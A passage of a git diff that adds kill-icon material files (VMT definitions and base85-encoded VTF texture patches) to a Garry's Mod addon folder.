z_dV{nnU*vZju2A7M}&_N{*VqK0sd!KZu!lKf7pXkLloS@BjGDLI<$<5;EO)Ma6QpZ z?|F+k=65T7K3b{T;z4Kztli==Z zKCZ_R`V15}=Jy+unI4Lj1T}#xeVDqGKIxdPA8D~zt>IZ~Uz;^$emx=O(YWA29Oss7 zt{Km?)BW+iQOY{OT&2HLF`f`=e`XO;#1s#PN9({2L5Z>2X$q4in_S}2p{;N}CyJl{ zJA%b!L-cGv@V~dbH$I8XOJ0tzEGnVr126gePtRSRGb)ApP5JptFuyTnMfp~DcYvqE z9ynZjzJ-tgUw*~YYlaS6JAv9ud0Xe}Y z_NRRIwkKlxHThJ|`Ry(Lzv1COOE&MR{El_N-%A?Rr0_hcL@u+*J#K`utk$dx_2;fV zK-MYyv_QT@YE;ijwm500fsm1EjJ1lHB=&uM%i5197L-sjTVD6Yeecg|g?NaSNu@qy zZcALK8$siZXGiM@%^!2QKA?{+ec5MxxY^zijHkwi@$|2}{tm~!Ey4I}9&Isnhqo6V z4PxZKiFG?W4Hc)%AvojSB)Je9M<(r|Bz`i*q zG%9Ex%@0WbbL{ggM%KJ=MP&>jCbfW+O7G+k)SB>#q4Sm;C63=3PiFA*3y*C2xWH94 zmgcjlLnvnZHhU`gL**JRobU%BEvs!Zv#(afSKngjY+`a9%3TQc-;|QyBiUI#PfE~Y zKU$GgxU4Oa?Vn_wcSCdgj;^H-6f%9J(vV?0b+12{BrrL6Jn)&~BKh4CR?i1;_BsCa z#eZM&+t;M9dZOp6z?~^SWEaxcNi8m3nCT)ITlM|MI%9econ| zmtrIcg54Q$oxJ{f)-Q|}OTYK0i_K>adw*1gv3Nqj2Q^9edQz$nF#lC5G~-P*i$3!o zC>Y%QlGj0c;C)JGQ-q?bX};J-2lZ7|Y`;;z1u<|2i{QFg{UP!z`o3Qn$X~5i>rGxW z#%O$M5Vt>p)Y{^@s!}MnXv5G%cZzxlIo(OIDh#2?@|;g1Z9OdCsonRqk|+@Vc zhnPocg84z^)7n$2oaCmfm_CdXJsBN8zV%b~KE6KUSLu+yx#AF$3j#{2kw(bX|6ToL zIHiJADUanRxQ}PLx04gA0vOE0{&}lKr7{U|`^c;>Ym_5uVK%4UptH||*zU}EtTyY! z;E>!bEJb>qlH=(eJr$(M<>#1KW2dAwmYv`@_Nbk78RmrE@2MVxx54l#>mNqAdgsS@ z7t5zYst@HS^p;;Jo+_VlR;S&+DPW(V^~J26G^ReHl-oOY2dRG0`00Bb`|jABT)DnD zm*ZQ$ZY93m6@h+0`La$fRlgiw!{sDB`-(BBIFIA+Q2ICe+m5k*0`0;QFPGZnCkqc! zxrhb9K)_#A$>cD7AOl&NpJ)v9A1FT**R|5uNV-`*LbpX3t(2b;@Oy*tBc3lG+C9>t zw;SJM^PUQdlH{W#q!FOTY4l+R_uy`wAI(P+G7Bft{h^%;4i`C2&P1Kf-|U!L zREt9SKF39f!*INV+d~#Vs|DIZ@izYHI#KQVFcj}Iv5JZH-x^ni)?X{Fnq8MLj^n=K z6?byyd=Wy-)(dCn(SO@Nhi**CyV-5`(fw55Z}i^AR`OkZ8n@^6UGx2?wk|3NV%5|R zm;aH((W8SnEWgv~-e10)>C^m3+wY1NBjtCv{S7i> s&aoC_U7KTS3&$eH6(}8kF9+)J^6#gMpYInM@5}nM%U!&AwZHlP8?&U)Q~&?~ literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_strider_cannon_killicon.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_strider_cannon_killicon.vmt new file mode 100644 index 0000000..d32ef66 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_strider_cannon_killicon.vmt @@ -0,0 +1,6 @@ +"UnlitGeneric" +{ + "$basetexture" "killicons/npc_strider_cannon_killicon" + "$vertexalpha" 1 + "$vertexcolor" 1 +} diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_strider_cannon_killicon.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_strider_cannon_killicon.vtf new file mode 100644 index 0000000000000000000000000000000000000000..0281762a269f19768e26d4e831540f326f9f4691 GIT binary patch literal 5696 zcmeHL4Nz3q6+XM{Q;=O)k!Mg*P}icZ7XKhRM)%>w6f)JU>0Tt2RCH|<5dwCM<4h#$ zPpYjm)|5o+Q~|3_)rli&_1Vm*Y{kS-e=x=-;3_|fiW=<#DzIVM+jH*nu-%Sj7@15v zljkhg@11k+J?A^;o_p_0x4!^=0YHyG8~zmh2k`(p{J(fs|8WLrzrYJ?B({A`_{VJS zQWGNl(_RC>7&D#ph&GcH5HqdKYyb#3tkc)D4i8ma07XJCeYw#g^lZ~=0me_3WqJ?s zS6xM(l+fkodAb6`b~g7u>B%@=O)J3Id5n?XXx(qH-DOVC3Sl#>*bkrU_v?V;li4S9 zC(S*3X-cRaj7A=w_OfODdv4Bm$FP?jk0K7Ln=0;|^PR%+SixHTz`1I!TOC?HZmFtf)VyiL zEAf_i*IRk}4^5XypZN2_CzJNfiHbPY8sKrnzGJ!W;`^pzloOxBAnjdCTA@Ybb*^WF z9{myi62FP{YrbsRy4X$Q5zjuDt)JXy8}b$4JJ_FZ8z*q$BX=al2l*almJvrZV&sR1 zGUkP-iHHw%SOfB(b|vz&}r-*Jue@)&>^nctyo zG-EDO3-FU&M?0#lzFOil)21jroiAA52Nm1$`@06v_|mA52yW2-Y0ukXt2tjk0ivUU zJNhbFRmQIQ{fl8T6hpjb&){aYpsK8>Qt)N7kH`Cb*-%h>E? z!Sk=m@6FZk~%T7nzlOMH*Cb&{VC)tviMF;T4-aHhk5l0{0=x$9S;W84I327>_;KlGl*@ zMmx!yFI$M@K?*V<@e+@3Z-k-uhgQd&Q!+$UcRce zE~V-dT>UV9!$bFEV4n{tiyB2dasI5}`Fo0uCst&Wz2wiPEy%BH(Ggl3WZ#Hv#(saQ zEpHmiDISo-*uZMuw4o+P#KQ$kx{XIq?fFih;u|Pa7~k*srDXg+;v-J%|7&qQQ+<%& zB_|#Zu(}D1zBsvRq7ou7`jzNZi)@-4anu7`YzaQxPpH4r>-$x2udj$x>cZ{nl4)eG zj1M1Q-tXq^H3JFL!=30XwVl`>DK{E33cQl{@(6C_~?{79{<4v;h#cJ35-{a0ay4Vr^O-8 zYv`}!kLzQGf$?4WQRWFOhE9Db!;=Z;kvBA)=y5h$11dxp7%!>Q-HE=wBxiQzThEUl zG`D0wf9u2-G{2-vQHDMAwp!aa&(Q3Ry8f#RlRIifJ)rv)eC=vpz*|d%KEhJI=6y@r zE>RCi>?{kT!z(_75PQUlsSE$m!%O^${FyF!DR1JKLK;piQ%!hZ5c@f^+wG^R*i`Ir zksRxh6ddoQPu1KZs$;W|%d%9i%UNrADNvtmc6+z`k5?amK6Rt+wZQxabGtNk>&lJB zB*HoglwtKB=QXUzdl0~q#4ABheg*W=zhduZ-bO*Dw~yaH5!e2E|LLCF&Rb6G-r3)j zcf6qbuu1rDM+Z(oSYdoqp_SybW~HQ9#rdt!Kp3}IIjkXl_4xw@;{2*pY_?#2y2FFN zDs6H&uU@3_%y@)s(q-(T`xIf~FS4}djjvS4cEXZ`^%2{D_0!v5f3$7mW51_->Z|0= zwvaA8LyXHjXYBU`Hbg74YtU8iI|Kkb8f)5E3)(NS2-VfM|$Lnt6-5npn^0?0XCE0`Jk;S(0THcQ7*2zQk z!@ZAO+$YwLSy7a@2J3|{R^Gcta)c?ylUa-KekbBd0dqXO_S#4dON@mT9crd4An6-W z;hCm2<4}J-VZ1NMrD8wcB;rBt%sbY?lAZ90>MAn?KabXo_I?Q ze1D+~;-T9@l;U@9blNZbjmxg@U7aE9p`&8#hicKqnaf`k_9_6+U#iL3^6{6V{-z+I zFWlL8IN8}M_{H@KcOhfqsLLT)q)*#vqBS)OzyE0Y)?@#=<0E)I;I!iVi|_{%(#qG+ z_Y5(=jS{w-^Y4JS)z{tX!fDiBVzNB4E@z?pf?L#IN|l{HXX3>;Mw}U$iAFr-S}UeBrcWpJBm2 ziZVP*i15!~7XV|-vMVC`3L1cz>3u~Qz_?X1boGzPRD%Fr{Uo2`(dARS0q&e=vo+v+ zuy+P4!t<2{_Tq~|ujj=TW-ovZ_0hbNhZDVf?q&TGC*eG7B{=Sb&6_vRl{4)|#BDEB zW_sfBIMn8>G5S_yao(h`hrBHNL+w}l&V3sDnAYK2W|#%8dWUP7gY2LgPxkq<5&7v^i`iY-O9QCyn3j4%U>U`7o6F(o&s;3gK#9Qf^Xxpi`dk>O7 z#2+`jd{;y3`gUI=!DB#jedhS%+TV%wBA=tdwZ?%i>%7kHS!FOmLX?C{>X4*e_K4R)Sqe5OO?yNdg?yT z?T}^3lDWYT!J6M3=6p{cK%R}C#yEfiWS`nko3;(LJ7e7xp9;6CUa7s*@iExi)A7KRy3F|C0Zy>nquHsXBc3(}QGR zmM7VA-|2sDhc({MxoONN#}zwl`kobXdoros#S(Y85^^=tK{6Ll>c@p zyCcZ*_Wyb)M_U-`>aWb4J#QV08C|@QNQi=FWIB- z1up#gw#A`t*MPa18(5UFpaJ)r z8}Xuz6x+4hPygTZt4N&x%W(gr^GJqSe!Lvu?j|sj4^%!L7>?=bXpQ zp*V);3C&lp`FVA%`OW@Vt6Z-=IhEFH!^ZF2GvdUlrMD2K#{K9l^+_DJ+Ir08rY$;7 z*PAzP8w&bk0UGDQKYhb<_=gF8FY}uloLQwf?8hAGK}r=}7#; zV&R`8!Cmq4wGP+A?E>Qy*bnG^1!seOkMaISF&<$vU;3KE)g<-<68i&Lba}-_2ysN*n1=Bk5#AUt<=-8a zH}hVODWv1lfMyA8_2K=6_(*?WN{!!@;;6yCf97iG@q~SoGAK`3SG(FgiLfMtI{N6| z>hSZ`=Mz|#d7F4@4#(TSAzH@=D98za)Arr}Jbzl`l>ek3rzhuIs(1K0wpxV$9=FHS zFS+VlUU}^p$(bxmK<`SUA_>eq?kn{-b^NGf&AncKXDjJb0MuToyougZgwZ^+HeY)B znC4wiSe9{r#GaboM@JgA4XnP5C;v6p#{C0EUCvE;LFK`cTLm`dstq3dICa%7K{um6a~_s!hg!w$Lg?tR#i@VD?ic*1_{DX0KTWL%q*?s_BK$%AoqQ?%o+12oBTl>i nSwKH;3IDMiSW)1CdHQ^+m$dV*Gk$KYm!g?STMXZIAHRP9kBlLq literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/point_hurt_killicon.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/point_hurt_killicon.vmt new file mode 100644 index 0000000..98c2458 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/point_hurt_killicon.vmt @@ -0,0 +1,6 @@ +"UnlitGeneric" +{ + "$basetexture" "killicons/point_hurt_killicon" + "$vertexalpha" 1 + "$vertexcolor" 1 +} diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/point_hurt_killicon.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/point_hurt_killicon.vtf new file mode 100644 index 0000000000000000000000000000000000000000..c1f7342d1d47a2057f713d7c5ce8c251ddbac1bc GIT binary patch literal 5696 zcmeHKeP|R%6rWA9UaX#XSQl->nFOzjs9fnsP!xAl&0$JYFLWnW2n`ooYQ?*YSOt-| z8cS1YB^t5z4^y#4gsP3P%?ka9HbS&WBUIG2mnM>HO;KY^(q0mCm+5=6w^kC$5rk@r zlkDxid2im#`@N5OSEPE0jS!Loj}ION{zw)f0(|G=^wh<~dicav*#U2x9X_1Sdt#gg zA2>l_q-En+$Kdq{sNIw^$;Pig94sJ&%f&dLXRtG%oJv=PImEAbAR0b8e9&ua4_peUdaLmNdb7Sb>63^}yrvFvmo z5hVgRlN2X0{iUk^wSCV=D{G8zFkZ6Li+!*8%f9FF;pX{4Y3dg4-wHRzJse*xN%-45 zFO|IeKz>;q;sxTD2Ja)hrjr`P!jVc%k8!y9pd zVX$pA#*P{T^T7w>)w_CVq3#dk`6OvCofG?N`5;UEu^jSt$_wO%M3zB5RJ$?WRCQ$h z%wjpKXBM@)@w|3HNG%)O6#v=Vc^UURt-PGeh`{}Yv;YRb$hIZ&5$YAtqxH{GhIsnH z-+;$nNqXf98)!LOE;Dv^0a3Q5XGFGioR(~>iTRVWI2No805ORrL zlAc=`4YB^X(Z))hw(*LuIe{0R58xWLeaZHJ%s1oMs@IS47+ZLRsvvnGg)u)Q2`bi& z-|oog9dnUZphUPY>+`~nn2qPRiZf%&zR{l7leo_~9#Ai`y9c(%E{8rx8jKg8h@5a4 zhvTP_R((EYwED-IygUq#aS^u57CUqR?N=Zi#+p43dftN8=2b&YA%33=f*{WOPPd1@ zcJch7s;WB7`|w%B2ik2xMw;w``xt3LGHZc8ZpII^8)GhhmNsq-_C|vdv`2*DX{##_ zpTzqe`w`WrU1+Xi0{{=uSSs+1!+JY9v^xh_FXwYcl6o@X7WNl!&%pJ7r4^R;ng6FoKYlab8sh!~{|ZdbPr-AdJ{)pL8A9tU z+S_W2!shpAYyMx~Rj4J6*AM)bnWR7QXgQ&djlr9!5AmLUyV4at8NZ6O5Ab%dqS9I3 z_Gge5L_zRq^{#NeoyQ~iW7PIT{Q5I;*33bDk|c^u+40W(ev~`7bFU#E$D-Z~Wk#jx ze{5jiXuckr0WLGoLn#-7e$|wxbXvFOY)tTplDr>V-lea~NXX;;l>39$!&aAa{jfcq z)-*6^o4qzcD-Yb?O>6<uSbpVIRM~V{X3PUB|ZIZjP+`kz2nMvH>3CESCiJiNACY5VZSpqB6mNj4R#={K)@}#b9YaP7C&R* zkt~0c?f7j$NNJOfq{1_{Ja>EKYs&k C1VQ)! literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/prop_ragdoll_killicon.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/prop_ragdoll_killicon.vmt new file mode 100644 index 0000000..6046e88 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/prop_ragdoll_killicon.vmt @@ -0,0 +1,6 @@ +"UnlitGeneric" +{ + "$basetexture" "killicons/prop_ragdoll_killicon" + "$vertexalpha" 1 + "$vertexcolor" 1 +} diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/prop_ragdoll_killicon.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/prop_ragdoll_killicon.vtf new file mode 100644 index 0000000000000000000000000000000000000000..046211ad24a08f5065cef6c17469f77c2ce4833f GIT binary patch literal 5696 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 literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/weapon_striderbuster_killicon.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/weapon_striderbuster_killicon.vmt new file mode 100644 index 0000000..9ff01da --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/weapon_striderbuster_killicon.vmt @@ -0,0 +1,6 @@ +"UnlitGeneric" +{ + "$basetexture" "killicons/weapon_striderbuster_killicon" + "$vertexalpha" 1 + "$vertexcolor" 1 +} diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/weapon_striderbuster_killicon.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/weapon_striderbuster_killicon.vtf new file mode 100644 index 0000000000000000000000000000000000000000..5651bde821cd6563b786b7082d853115f16edfe3 GIT binary patch literal 5696 zcmdT|4Nz276h064!J6W(;Z~>!=33Dolu4%5zNK_rC-qhDA=8iurWWI}mBsX z4YWm*He=vVQ&z^Pm9LpfAf41S#U@R3gH?pcFww|gSZ?Rsw{Mem8XS?a9<%%S-u?T| zcg{Wcyv zHDEx$BZVcVGdaN6LaXX@s?o1U&;6+|mob)OR%g8xz%JR~6RjT|e`$jHNvMmK0#RjxJ@r+pop?4Lu|I7}(Gk_5oZECiD~XL!IX# zU;D&TdwV_Er>I7M!@k=X^3&WSboX>7H-nXy&YlOT(1qGx82sXxZ!GsWtnYKU)HR~9J9Z=v|gki^kheEx-Y-QV5o z7c(b%F6uvy*2_aa#b@sSru{62H{z96fbxwTBod~}`mVQ=tv=MrC_Z3}FtlNVx7HWj zLHl=5rYyyFtWP-b(c`t$U&(wVvpc=UGHvFFv^>7PZRAK>?8|3b*e(wX;P@y(5Qm-f zJ#)I1_&CigOn`RlJdC^jFbj50n;t{B5X>fE0^iZZM^Q2^h_^^SYs3Ce;{LyR+dOak zm>H=w-Zbd5TETz?^|Awg#!=zn7}+{BoDcwuJWYH|CN4*v%CVdCeMmC-Du zKk-5TW<{=dshIYkfDjExjuvV`m?Q1SY=c*XcEwZ9S-(odGV>;GSGk6m5hq4S&U z7i~86>fgQy?(h5QCcfWfi4^IgM`G3Dvf7Vhc|Ml$ifsSC<3zq6N=;-xou~Kg)Z9Zd z>M>s_n!MGaao&U>yVgr&g&ZSuF?t4cVQ0PZ@D z!MCVv2gfRpxGwtkR6mao=ht%h`G@pvFN3vOR=n>ikuk7~LHG zKK7nN{mJ$H8(5olk$Vkc+#%vsoe1*u`bHK3a$01Zn=Wn!K}aP%K2PBBgyq>~k0*;`VydzC!acQp@>YcEJzAS3LevbD&gc*L9s_->d_D5_utW8;zPr7G*TaI-c|pF37_=tiajI2J|8rhgDD-42A83RRQ+N7d!iz^zi6_bFs9R9KYw%Drn`q0 z-w=p05?$pb3Arw{}j* z=lbw?sN!ZP8TQr$P>Qp@upZ96_%CY@+cV}Dc6QS`_bt4?q=@IhwWOa33JFtwan>wN z@UPSDmC@kt`1W@Dkv{RI@cmL=&tUkgaXYm~^S}2zKzwaTdFpbq&xc0>*8zqdUmcuC zj}XiF$n~36gqzJR-6?O=`?iRW`{md93FZZ-TXp?}9#qO-SnxIS2air2Ite$_aS zF8_JhQ~gpLY2ot&e|}LNJ_utvPqM4}()%utUkULEo?o9$B|Q*Ij);0A zs7>*VsVPwb(KI!wM*QeDO(UF`qEbuKSldGc(p0`$SgU*Y+-p`5^^q6=^sqrPnIvtSYzg0(S4k=ArP(>RUJhv~J9f4f^-LE(Sl{^eIx6S1;66Jwd!<*t z(>hyDSy~FfuJvM?q!Oj>|5lo8X^|~6e))>o9ka!XIKqz4gPIwh@-ryxFRw~c_UHM4 z9l6x#=x?V~;b++Y`n2kjN++cXPZJtIzta&+9|`zcNa11751&Wgs(&usK=0Op zrhq%iT?2)bDm>=X6Ct2q%L>pR`SjFh_CQJ=&g1jQZvxf6t77EYQ~qheCG!~nd~7B9 zqau>=E$uD(ycKboQNhdIfnTg=^5%!NkCN0q(W!g}^pb1EPne0(;zFw{?{yM^5RRHl2Ma-EQS>E`#NH^xr+?YE9_tV1u-wsmRZY@hfOaw7% z*8%xA2xf}=PlZFXu%pzqmQr8DqKzC}(3&7$qprxdp+kBNC>T^%WjW@Tk~ zwSN&!$i;X?zGJ`v(>lAWsLSzpJ1v<9_W;NA09Dl9U@5!_>OedBDc*k*Yv|ob3KY?9 zlVGz60$GCoWcZJD&Q}y6zLJ#HM`-}VusKAGiEf2>RL-CH zANKR+pYeI*`CgtH=VP3YCn+A{-1&p$A3lCRTm}vM;C@2Pk+2%s;`_d9F~b^x=!|mN 